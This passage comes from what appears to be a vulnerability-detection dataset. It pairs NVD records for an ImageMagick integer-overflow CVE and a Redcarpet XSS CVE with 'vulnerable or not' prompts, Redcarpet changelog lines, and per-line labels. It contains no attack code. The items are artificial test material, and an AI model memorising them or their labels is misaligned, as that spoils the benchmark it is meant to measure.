1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1031], "buggy_code_start_loc": [1030], "filenames": ["coders/psd.c"], "fixing_code_end_loc": [1031], "fixing_code_start_loc": [1030], "message": "A vulnerability was found in ImageMagick, causing an outside the range of representable values of type 'unsigned char' at coders/psd.c, when crafted or untrusted input is processed. This leads to a negative impact to application availability or other problems related to undefined behavior.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "matchCriteriaId": "3AFC7A4D-C722-4132-931A-FD310019F685", "versionEndExcluding": "6.9.12-43", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "matchCriteriaId": "CF10ECD1-E700-4BEF-9A72-B5B542FE7CA0", "versionEndExcluding": "7.1.0-28", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.1.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:fedoraproject:extra_packages_for_enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "BB176AC3-3CDA-4DDA-9089-C67B2F73AA62", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*", "matchCriteriaId": "5C675112-476C-4D7C-BCB9-A2FB2D0BC9FD", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "A vulnerability was found in ImageMagick, causing an outside the range of representable values of type 'unsigned char' at coders/psd.c, when crafted or untrusted input is processed. This leads to a negative impact to application availability or other problems related to undefined behavior."}, {"lang": "es", "value": "Se ha encontrado una vulnerabilidad en ImageMagick, que causa un fallo fuera del rango de valores representables del tipo \"unsigned char\" en el archivo coders/psd.c, cuando se procesa una entrada dise\u00f1ada o no confiable. Esto conlleva a un impacto negativo en la disponibilidad de la aplicaci\u00f3n u otros problemas relacionados con el comportamiento no definido"}], "evaluatorComment": null, "id": "CVE-2022-32545", "lastModified": "2023-05-22T02:15:11.247", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2022-06-16T18:15:10.873", "references": [{"source": "secalert@redhat.com", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2091811"}, {"source": "secalert@redhat.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ImageMagick/ImageMagick/commit/9c9a84cec4ab28ee0b57c2b9266d6fbe68183512"}, {"source": "secalert@redhat.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/ImageMagick/ImageMagick6/commit/450949ed017f009b399c937cf362f0058eacc5fa"}, {"source": "secalert@redhat.com", "tags": null, "url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00020.html"}], "sourceIdentifier": "secalert@redhat.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-190"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-190"}], "source": "secalert@redhat.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/ImageMagick/ImageMagick/commit/9c9a84cec4ab28ee0b57c2b9266d6fbe68183512"}, "type": "CWE-190"}
145
Determine whether the {function_name} code is vulnerable or not.
[ "# Changelog", "", "\n## Version 3.5.0", "* Avoid mutating the options hash passed to a render object.", " Refs #663.", " *Max Schwenk*", "* Fix a segfault rendering quotes using `StripDown` and the `:quote`\n option.", " Fixes #639.", "* Fix `warning: instance variable @options not initialized` when\n running under verbose mode (`-w`, `$VERBOSE = true`).", "* Fix SmartyPants single quotes right after a link. For example:", " ~~~markdown\n [John](http://john.doe)'s cat\n ~~~", " Will now properly converts `'` to a right single quote (i.e. `’`).", " Fixes #624.", "* Remove the `rel` and `rev` attributes from the output generated\n for footnotes as they don't pass the HTML 5 validation.", " Fixes #536.", "* Automatically enable the `fenced_code_blocks` option passing a\n `HTML_TOC` object to the `Markdown` object's constructor since\n some languages rely on the sharp to comment code.", " Fixes #451.", "* Allow passing `Range` objects to the `nesting_level` option to have\n a higher level of customization for table of contents:", " ~~~ruby\n Redcarpet::Render::HTML_TOC.new(nesting_level: 2..5)\n ~~~", " Fixes #519.", "## Version 3.4.0", "* Rely on djb2 hashing generating anchors with non-ASCII chars.", " Fix issue [#538](https://github.com/vmg/redcarpet/issues/538).", " *Alexey Kopytko*, *namusyaka*", "* Added suppport for HTML 5 `details` and `summary` tags.", " Fix issue [#578](https://github.com/vmg/redcarpet/issues/578).", " *James Edwards-Jones*", "* Multiple single quote pairs are parsed correctly with SmartyPants.", " Fix issue [#549](https://github.com/vmg/redcarpet/issues/549).", " *Jan Jędrychowski*", "* Table headers don't require a minimum of three dashes anymore; a\n single one can be used for each row.", "* Remove escaped entities from `HTML` render table of contents'\n ids to be consistent with the `HTML_TOC` render.", " Fix issue [#529](https://github.com/vmg/redcarpet/issues/529).", "* Remove periods at the end of URLs when autolinking to make sure\n that links at the end of a sentence get properly generated.", " Fix issue [#465](https://github.com/vmg/redcarpet/issues/465).", "* Expose the Markdown and rendering options through a `Hash` inside\n the `@options` instance variable for custom render objects.", "* Avoid escaping ampersands in href links.", " *Nolan Evans*", "## Version 3.3.4", "* Fix `bufprintf` to correctly work on Windows MinGW-w64 so strings\n are properly written to the buffer.", " *Kenichi Saita*", "* Fix the header anchor normalization by skipping non-ASCII chars\n and not calling tolower because this leads to invalid UTF-8 byte\n sequences in the HTML output. (tolower is not locale-aware)", " *Clemens Gruber*", "## Version 3.3.3", "* Fix a memory leak instantiating a `Redcarpet::Render::Base` object.", " *Oleg Dashevskii*", "* Fix the `StripDown` renderer to handle the `:highlight` option.", " *Itay Grudev*", "* The `StripDown` renderer handles tables if the `tables` extension is\n enabled.", " *amnesia7*", "* Fix Smarty Pants to avoid fraction conversions when there are several\n numbers separated with slashes (e.g. for a date).", " *Sam Saffron*", "## Version 3.3.2", "* Fix a potential security issue in the HTML renderer\n (Thanks to Giancarlo Canales Barreto for the heads up)", "## Version 3.3.1", "* Include the `Redcarpet::CLI`'s file in the gemspec to make it\n available when downloading.", "## Version 3.3.0", "* Fix the stripping of surrounding characters that should be removed\n during anchor generation.", "* Provide a `Redcarpet::CLI` class to create custom binary files.", " Relying on Ruby's OptionParser, it's now straightforward to add new\n options, rely on custom render objects or handle differently the\n rendering of the provided files.", "* Undeprecate the compatibility layer for the old RedCloth API.", " This layer actually ease the support of libraries supporting different\n Markdown processors.", "* Strip out `style` tags at the HTML-block rendering level when the\n `:no_styles` options is enabled ; previously they were only removed\n inside paragraphs.", "* Avoid parsing images when the given URL isn't safe and the\n `:safe_links_only` option is enabled.", " *Alex Serban*", "* Avoid parsing references inside fenced code blocks so they are\n now kept in the code snippet.", " *David Waller*", "* Avoid escaping table-of-contents' headers by default. A new\n `:escape_html` option is now available for the `HTML_TOC` object\n if there are security concerns.", "* Add the `lang-` prefix in front of the language's name when using\n `:prettify` along with `:fenced_code_blocks`.", "* Non-alphanumeric chars are now stripped out from generated anchors\n (along the lines of Active Support's `#parameterize` method).", "## Version 3.2.3", "* Avoid rewinding content of a previous inline when autolinking is\n enabled.", " *Daniel LeCheminant*", "* Fix escaping of forward slashes with the `Safe` render object (add a\n missing semi-colon).", "## Version 3.2.2", "* Consider `script` as a block-level element so it doesn't get included\n inside a paragraph.", "## Version 3.2.1", "* Load `RedcarpetCompat` when requiring Redcarpet for the sake of\n backward compatibility.", " *Loren Segal*", "## Version 3.2.0", "* Add a `Safe` renderer to deal with users' input. The `escape_html`\n and `safe_links_only` options are turned on by default.", " Moreover, the `block_code` callback removes the tag's class since\n the user can basically set anything with the vanilla one.", " *Robin Dupret*", "* HTML5 block-level tags are now recognized", " *silverhammermba*", "* The `StripDown` render object now displays the URL of links\n along with the text.", " *Robin Dupret*", "* The RedCloth API compatibility layer is now deprecated.", " *Robin Dupret*", "* A hyphen and an equal should not be converted to heading.", " *namusyaka*", "* Fix emphasis character escape sequence detection while mid-emphasis.", " *jcheatham*", "* Add `=` to the whitelist of escaped chars so it can be used inside\n highlighted snippets.", " *jcheatham*", "* Convert trailing single quotes to curly quotes. For example,\n `Road Trippin'` now converts to `Road Trippin’`.", " *Kevin Chen*", "* Allow in-page links (e.g. `[headline](#headline)`) when `:safe_links_only` is set.", " *jomo*", "* Enable emphasis inside of sentences in multi-byte languages when\n `:no_intra_emphasis` is set.", " *Chun-wei Kuo*", "* Avoid making `:no_intra_emphasis` only match spaces. This allows\n using emphasizes inside quotes when the option is enabled for\n instance.", " *Jason Webb* and *BJ Homer*", "* The StripDown renderer handles image tags now.", "## Version 3.1.2", "* Remove the yielding of anchors in the `header` callback. This was\n a breaking change between 3.0 and 3.1 as the method's arity changed.", "## Version 3.1.1", "* Fix a segfault when parsing text with headers.", "## Version 3.1.0", "* Yield the anchor of the headers", " Using the `header` callback, it's now possible to get access to the\n humanized generated id to easily keep tracking of the tree of headers\n or simply handle the duplicate values easily.", " Since the `HTML_TOC` and `HTML` objects both have this callback, it's\n advisable to define a module and mix it in these objects to avoid\n code duplication.", " *Robin Dupret*", "* Allow using tabs between a reference's colon and its link", " Fix issue [#337](https://github.com/vmg/redcarpet/issues/337)", " *Juan Guerrero*", "* Make ordered lists preceded by paragraph parsed with `:lax_spacing`", " Previously, enabling the `:lax_spacing` option, if a paragraph was\n followed by an ordered list it was unparsed and was part of the\n paragraph but this is no more the case.", " *Robin Dupret*", "* Feed the gemspec into ExtensionTask so that we can pre-compile.\n ie. `rake native gem`", " *Todd Edwards*", "* Revert lax indent of less than 4 characters after list items", " Follow the standard to detect when new paragraph is outside last item.\n Fixes [issue #111](https://github.com/vmg/redcarpet/issues/111).", " *Eric Bréchemier*", "* Fix code blocks' classes when using Google code prettify", " When using the the `:prettify` option and specifying the\n language name, the generated code block's class had a missing\n space.", " *Simonini*", "* Add `-v`/`--version` and `-h` flags to commandline redcarpet", " *Lukas Stabe*", "* Add optional quote support through the `:quote` option. Render\n quotations marks to `q` HTML tag.", " This is a `\"quote\"`.", " *Anatol Broder*", "* Ensure inline markup in titles is correctly stripped when generating\n headers' anchor.", " *Robin Dupret*", "* Revert the unescaping behavior on comments", " This behavior doesn't follow the conformance suite.", " *Robin Dupret*", "* Add optional footnotes support", " Add PHP-Markdown style footnotes through the `:footnotes` option.", " *Ben Dolman, Adam Florin, microjo, brief*", "* Enable GitHub style anchors for headers", " Passing the `with_toc_data` option to a `HTML` render object now\n generates GitHub style anchors.", " *Matt Rogers*", "* Allow to set a maximum rendering level for HTML_TOC", " Allow the user to pass a `nesting_level` option when instantiating a\n new HTML_TOC render object in order to limit the nesting level in the\n generated table of content. For example:", " ~~~ruby\n Redcarpet::Markdown.new(Redcarpet::Render::HTML_TOC.new(nesting_level: 2))\n ~~~", " *Robin Dupret*", "## Version 3.0.0", "* Remove support for Ruby 1.8.x *Matt Rogers & Robin Dupret*", "* Avoid escaping for HTML comments *Robin Dupret*", "* Make emphasis wrapped inside parenthesis parsed *Robin Dupret*", "* Remove the Sundown submodule *Robin Dupret*", "* Fix FTP uris identified as emails *Robin Dupret*", "* Add optional highlight support *Sam Soffes*", " This is `==highlighted==`.", "* Ensure nested parenthesis are handled into links *Robin Dupret*", "* Ensure nested code spans put in emphasis work correctly *Robin Dupret*", "## Version 2.3.0", "* Add a `:disable_indented_code_blocks` option *Dmitriy Kiriyenko*", "* Fix issue [#57](https://github.com/vmg/redcarpet/issues/57) *Mike Morearty*", "* Ensure new lines characters are inserted when using the StripDown\nrender. *Robin Dupret*", "* Mark all symbols as hidden except the main entry point *Tom Hughes*", " This avoids conflicts with other gems that may have some of the\n same symbols, such as escape_utils which also uses houdini.", "* Remove unnecessary function pointer *Sam Soffes*", "* Add optional underline support *Sam Soffes*", " This is `*italic*` and this is `_underline_` when enabled.", "* Test that links with quotes work *Michael Grosser*", "* Adding a prettyprint class for google-code-prettify *Joel Rosenberg*", "* Remove unused C macros *Matt Rogers*", "* Remove 'extern' definition for Init_redcarpet_rndr() *Matt Rogers*", "* Remove Gemfile.lock from the gemspec *Matt Rogers*", "* Removed extra unused test statement. *Slipp D. Thompson*", "* Use test-unit gem to get some red/green output when running tests\n*Michael Grosser*", "* Remove a deprecation warning and update Gemfile.lock *Robin Dupret*", "* Added contributing file *Brent Beer*", "* For tests for libxml2 > 2.8 *strzibny*", "* SmartyPants: Preserve single `backticks` in HTML *Mike Morearty*", " When SmartyPants is processing HTML, single `backticks` should be left\n intact. Previously they were being deleted.", "* Removed and ignored Gemfile.lock *Ryan McGeary*", "* Added support for org-table syntax *Ryan McGeary*", " Adds support for using a plus (+) as an intersection character instead of\n requiring pipes (|). The emacs org-mode table syntax automatically manages\n ascii tables, but uses pluses for line intersections.", "* Ignore /tmp directory *Ryan McGeary*", "* Add redcarpet_ prefix for `stack_*` functions *Kenta Murata*", "* Mark any html_attributes has held by a renderer as used *Tom Hughes*", "* Add Rubinius to the list of tested implementations *Gibheer*", "* Add a changelog file" ]
[ 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1, 260, 6, 8, 222], "buggy_code_start_loc": [1, 257, 5, 4, 222], "filenames": ["CHANGELOG.md", "ext/redcarpet/html.c", "lib/redcarpet.rb", "redcarpet.gemspec", "test/markdown_test.rb"], "fixing_code_end_loc": [9, 267, 6, 8, 233], "fixing_code_start_loc": [2, 258, 5, 4, 223], "message": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:redcarpet_project:redcarpet:*:*:*:*:*:ruby:*:*", "matchCriteriaId": "902228CC-361A-4FB7-B856-DB57477CD68F", "versionEndExcluding": "3.5.1", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Redcarpet is a Ruby library for Markdown processing. In Redcarpet before version 3.5.1, there is an injection vulnerability which can enable a cross-site scripting attack. In affected versions no HTML escaping was being performed when processing quotes. This applies even when the `:escape_html` option was being used. This is fixed in version 3.5.1 by the referenced commit."}, {"lang": "es", "value": "Redcarpet es una biblioteca de Ruby para el procesamiento de Descuentos.&#xa0;En Redcarpet versiones anteriores a 3.5.1, se presenta una vulnerabilidad de inyecci\u00f3n que puede habilitar un ataque de tipo cross-site scripting.&#xa0;En las versiones afectadas, no se llevaba a cabo ning\u00fan escape HTML al procesar las cotizaciones.&#xa0;Esto aplica incluso cuando la opci\u00f3n \":escape_html\" hab\u00eda sido usada.&#xa0;Esto es corregido en la versi\u00f3n 3.5.1 mediante la confirmaci\u00f3n de referencia"}], "evaluatorComment": null, "id": "CVE-2020-26298", "lastModified": "2023-05-09T04:15:40.053", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 4.0, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-01-11T19:15:13.133", "references": [{"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://github.com/advisories/GHSA-q3wr-qw3g-3p4h"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, {"source": "security-advisories@github.com", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2021/01/msg00014.html"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BFMYDIONVWATY7EB6EARDVXT47AYCRNM/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNO4ZZUPGAEUXKQL4G2HRIH7CUZKPCT6/"}, {"source": "security-advisories@github.com", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PXNNWHHAPREDM3XJDACYRTK7DBMUONBI/"}, {"source": "security-advisories@github.com", "tags": ["Product", "Third Party Advisory"], "url": "https://rubygems.org/gems/redcarpet"}, {"source": "security-advisories@github.com", "tags": ["Third Party Advisory"], "url": "https://www.debian.org/security/2021/dsa-4831"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793"}, "type": "CWE-74"}
146
Determine whether the {function_name} code is vulnerable or not.
[ "# Changelog", "\n## Version 3.5.1 (Security)", "* Fix a security vulnerability using `:quote` in combination with the\n `:escape_html` option.", " Reported by *Johan Smits*.", "\n## Version 3.5.0", "* Avoid mutating the options hash passed to a render object.", " Refs #663.", " *Max Schwenk*", "* Fix a segfault rendering quotes using `StripDown` and the `:quote`\n option.", " Fixes #639.", "* Fix `warning: instance variable @options not initialized` when\n running under verbose mode (`-w`, `$VERBOSE = true`).", "* Fix SmartyPants single quotes right after a link. For example:", " ~~~markdown\n [John](http://john.doe)'s cat\n ~~~", " Will now properly converts `'` to a right single quote (i.e. `’`).", " Fixes #624.", "* Remove the `rel` and `rev` attributes from the output generated\n for footnotes as they don't pass the HTML 5 validation.", " Fixes #536.", "* Automatically enable the `fenced_code_blocks` option passing a\n `HTML_TOC` object to the `Markdown` object's constructor since\n some languages rely on the sharp to comment code.", " Fixes #451.", "* Allow passing `Range` objects to the `nesting_level` option to have\n a higher level of customization for table of contents:", " ~~~ruby\n Redcarpet::Render::HTML_TOC.new(nesting_level: 2..5)\n ~~~", " Fixes #519.", "## Version 3.4.0", "* Rely on djb2 hashing generating anchors with non-ASCII chars.", " Fix issue [#538](https://github.com/vmg/redcarpet/issues/538).", " *Alexey Kopytko*, *namusyaka*", "* Added suppport for HTML 5 `details` and `summary` tags.", " Fix issue [#578](https://github.com/vmg/redcarpet/issues/578).", " *James Edwards-Jones*", "* Multiple single quote pairs are parsed correctly with SmartyPants.", " Fix issue [#549](https://github.com/vmg/redcarpet/issues/549).", " *Jan Jędrychowski*", "* Table headers don't require a minimum of three dashes anymore; a\n single one can be used for each row.", "* Remove escaped entities from `HTML` render table of contents'\n ids to be consistent with the `HTML_TOC` render.", " Fix issue [#529](https://github.com/vmg/redcarpet/issues/529).", "* Remove periods at the end of URLs when autolinking to make sure\n that links at the end of a sentence get properly generated.", " Fix issue [#465](https://github.com/vmg/redcarpet/issues/465).", "* Expose the Markdown and rendering options through a `Hash` inside\n the `@options` instance variable for custom render objects.", "* Avoid escaping ampersands in href links.", " *Nolan Evans*", "## Version 3.3.4", "* Fix `bufprintf` to correctly work on Windows MinGW-w64 so strings\n are properly written to the buffer.", " *Kenichi Saita*", "* Fix the header anchor normalization by skipping non-ASCII chars\n and not calling tolower because this leads to invalid UTF-8 byte\n sequences in the HTML output. (tolower is not locale-aware)", " *Clemens Gruber*", "## Version 3.3.3", "* Fix a memory leak instantiating a `Redcarpet::Render::Base` object.", " *Oleg Dashevskii*", "* Fix the `StripDown` renderer to handle the `:highlight` option.", " *Itay Grudev*", "* The `StripDown` renderer handles tables if the `tables` extension is\n enabled.", " *amnesia7*", "* Fix Smarty Pants to avoid fraction conversions when there are several\n numbers separated with slashes (e.g. for a date).", " *Sam Saffron*", "## Version 3.3.2", "* Fix a potential security issue in the HTML renderer\n (Thanks to Giancarlo Canales Barreto for the heads up)", "## Version 3.3.1", "* Include the `Redcarpet::CLI`'s file in the gemspec to make it\n available when downloading.", "## Version 3.3.0", "* Fix the stripping of surrounding characters that should be removed\n during anchor generation.", "* Provide a `Redcarpet::CLI` class to create custom binary files.", " Relying on Ruby's OptionParser, it's now straightforward to add new\n options, rely on custom render objects or handle differently the\n rendering of the provided files.", "* Undeprecate the compatibility layer for the old RedCloth API.", " This layer actually ease the support of libraries supporting different\n Markdown processors.", "* Strip out `style` tags at the HTML-block rendering level when the\n `:no_styles` options is enabled ; previously they were only removed\n inside paragraphs.", "* Avoid parsing images when the given URL isn't safe and the\n `:safe_links_only` option is enabled.", " *Alex Serban*", "* Avoid parsing references inside fenced code blocks so they are\n now kept in the code snippet.", " *David Waller*", "* Avoid escaping table-of-contents' headers by default. A new\n `:escape_html` option is now available for the `HTML_TOC` object\n if there are security concerns.", "* Add the `lang-` prefix in front of the language's name when using\n `:prettify` along with `:fenced_code_blocks`.", "* Non-alphanumeric chars are now stripped out from generated anchors\n (along the lines of Active Support's `#parameterize` method).", "## Version 3.2.3", "* Avoid rewinding content of a previous inline when autolinking is\n enabled.", " *Daniel LeCheminant*", "* Fix escaping of forward slashes with the `Safe` render object (add a\n missing semi-colon).", "## Version 3.2.2", "* Consider `script` as a block-level element so it doesn't get included\n inside a paragraph.", "## Version 3.2.1", "* Load `RedcarpetCompat` when requiring Redcarpet for the sake of\n backward compatibility.", " *Loren Segal*", "## Version 3.2.0", "* Add a `Safe` renderer to deal with users' input. The `escape_html`\n and `safe_links_only` options are turned on by default.", " Moreover, the `block_code` callback removes the tag's class since\n the user can basically set anything with the vanilla one.", " *Robin Dupret*", "* HTML5 block-level tags are now recognized", " *silverhammermba*", "* The `StripDown` render object now displays the URL of links\n along with the text.", " *Robin Dupret*", "* The RedCloth API compatibility layer is now deprecated.", " *Robin Dupret*", "* A hyphen and an equal should not be converted to heading.", " *namusyaka*", "* Fix emphasis character escape sequence detection while mid-emphasis.", " *jcheatham*", "* Add `=` to the whitelist of escaped chars so it can be used inside\n highlighted snippets.", " *jcheatham*", "* Convert trailing single quotes to curly quotes. For example,\n `Road Trippin'` now converts to `Road Trippin’`.", " *Kevin Chen*", "* Allow in-page links (e.g. `[headline](#headline)`) when `:safe_links_only` is set.", " *jomo*", "* Enable emphasis inside of sentences in multi-byte languages when\n `:no_intra_emphasis` is set.", " *Chun-wei Kuo*", "* Avoid making `:no_intra_emphasis` only match spaces. This allows\n using emphasizes inside quotes when the option is enabled for\n instance.", " *Jason Webb* and *BJ Homer*", "* The StripDown renderer handles image tags now.", "## Version 3.1.2", "* Remove the yielding of anchors in the `header` callback. This was\n a breaking change between 3.0 and 3.1 as the method's arity changed.", "## Version 3.1.1", "* Fix a segfault when parsing text with headers.", "## Version 3.1.0", "* Yield the anchor of the headers", " Using the `header` callback, it's now possible to get access to the\n humanized generated id to easily keep tracking of the tree of headers\n or simply handle the duplicate values easily.", " Since the `HTML_TOC` and `HTML` objects both have this callback, it's\n advisable to define a module and mix it in these objects to avoid\n code duplication.", " *Robin Dupret*", "* Allow using tabs between a reference's colon and its link", " Fix issue [#337](https://github.com/vmg/redcarpet/issues/337)", " *Juan Guerrero*", "* Make ordered lists preceded by paragraph parsed with `:lax_spacing`", " Previously, enabling the `:lax_spacing` option, if a paragraph was\n followed by an ordered list it was unparsed and was part of the\n paragraph but this is no more the case.", " *Robin Dupret*", "* Feed the gemspec into ExtensionTask so that we can pre-compile.\n ie. `rake native gem`", " *Todd Edwards*", "* Revert lax indent of less than 4 characters after list items", " Follow the standard to detect when new paragraph is outside last item.\n Fixes [issue #111](https://github.com/vmg/redcarpet/issues/111).", " *Eric Bréchemier*", "* Fix code blocks' classes when using Google code prettify", " When using the the `:prettify` option and specifying the\n language name, the generated code block's class had a missing\n space.", " *Simonini*", "* Add `-v`/`--version` and `-h` flags to commandline redcarpet", " *Lukas Stabe*", "* Add optional quote support through the `:quote` option. Render\n quotations marks to `q` HTML tag.", " This is a `\"quote\"`.", " *Anatol Broder*", "* Ensure inline markup in titles is correctly stripped when generating\n headers' anchor.", " *Robin Dupret*", "* Revert the unescaping behavior on comments", " This behavior doesn't follow the conformance suite.", " *Robin Dupret*", "* Add optional footnotes support", " Add PHP-Markdown style footnotes through the `:footnotes` option.", " *Ben Dolman, Adam Florin, microjo, brief*", "* Enable GitHub style anchors for 